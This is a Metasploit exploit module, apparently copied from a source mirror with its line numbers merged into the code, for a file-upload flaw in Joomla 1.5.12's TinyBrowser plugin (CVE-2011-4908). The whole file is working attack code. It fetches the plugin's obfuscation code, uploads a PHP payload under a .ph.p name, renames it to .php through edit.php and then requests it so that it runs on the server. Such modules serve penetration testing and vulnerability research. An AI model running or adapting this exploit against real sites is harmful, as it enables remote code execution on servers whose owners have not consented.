Path: blob/master/modules/exploits/unix/webapp/joomla_tinybrowser.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Joomla 1.5.12 TinyBrowser File Upload Code Execution',15'Description' => %q{16This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.17This plugin is not secured in version 1.5.12 of joomla and allows the upload18of files on the remote server.19By renaming the uploaded file this vulnerability can be used to upload/execute20code on the affected system.21},22'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],23'License' => MSF_LICENSE,24'References' => [25['CVE', '2011-4908'],26['OSVDB', '64578'],27['EDB', '9296'],28['URL', 'http://developer.joomla.org/security/news/301-20090722-core-file-upload.html'],29],30'Privileged' => false,31'Payload' => {32'DisableNops' => true,33'Compat' =>34{35'ConnectionType' => 'find',36},37'Space' => 1024,38},39'Platform' => 'php',40'Arch' => ARCH_PHP,41'Targets' => [[ 'Automatic', {}]],42'DisclosureDate' => '2009-07-22',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptString.new('URI', [true, "Joomla directory path", "/"]),55]56)57end5859def check60uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php')61uri << '?type=file&folder='62res = send_request_raw(63{64'uri' => uri65}, 2566)6768if (res and res.body =~ /flexupload.swf/)69return Exploit::CheckCode::Appears70end7172return Exploit::CheckCode::Safe73end7475def retrieve_obfuscation()76end7778def exploit79cmd_php = '<?php ' + payload.encoded + '?>'8081# Generate some random strings82cmdscript = rand_text_alpha_lower(20)83boundary = rand_text_alphanumeric(6)8485# Static files86directory = '/images/stories/'87uri_base = normalize_uri(datastore['URI'])88uri_base << '/' if uri_base[-1, 1] != '/'89uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser'9091# Get obfuscation code (needed to upload files)92obfuscation_code = nil9394res = send_request_raw({95'uri' => uri_base + '/upload.php?type=file&folder='96}, 25)9798if (res)99100if (res.body =~ /"obfus", "((\w)+)"\)/)101obfuscation_code = $1102print_good("Successfully retrieved obfuscation code: #{obfuscation_code}")103else104print_error("Error retrieving obfuscation code!")105return106end107end108109# Upload shellcode (file ending .ph.p)110data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"111data << "#{cmdscript}.ph.p\r\n--#{boundary}"112data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"113data << "Content-Type: application/octet-stream\r\n\r\n"114data << cmd_php115data << "\r\n--#{boundary}--"116117res = send_request_raw({118'uri' => uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",119'method' => 'POST',120'data' => data,121'headers' =>122{123'Content-Length' => data.length,124'Content-Type' => 'multipart/form-data; boundary=' + boundary,125}126}, 25)127128if (res and res.body =~ /File Upload Success/)129print_good("Successfully Uploaded #{cmdscript}.ph.p")130else131print_error("Error uploading #{cmdscript}.ph.p")132end133134# Complete the upload process (rename file)135print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")136res = send_request_raw({137'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'138})139140# Rename the file from .ph.p to .php141res = send_request_cgi(142{143'method' => 'POST',144'uri' => uri_base + '/edit.php?type=file&folder=',145'vars_post' =>146{147'actionfile[0]' => "#{cmdscript}.ph.p",148'renameext[0]' => 'p',149'renamefile[0]' => "#{cmdscript}.ph",150'sortby' => 'name',151'sorttype' => 'asc',152'showpage' => '0',153'action' => 'rename',154'commit' => '',155}156}, 10157)158159if (res and res.body =~ /successfully renamed./)160print_status("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")161else162print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")163end164165# Finally call the payload166print_status("Calling payload: #{cmdscript}.php")167uri = normalize_uri(datastore['URI'])168uri << '/' if uri[-1, 1] != '/'169uri << directory + cmdscript + ".php"170res = send_request_raw({171'uri' => uri172}, 25)173end174end175176177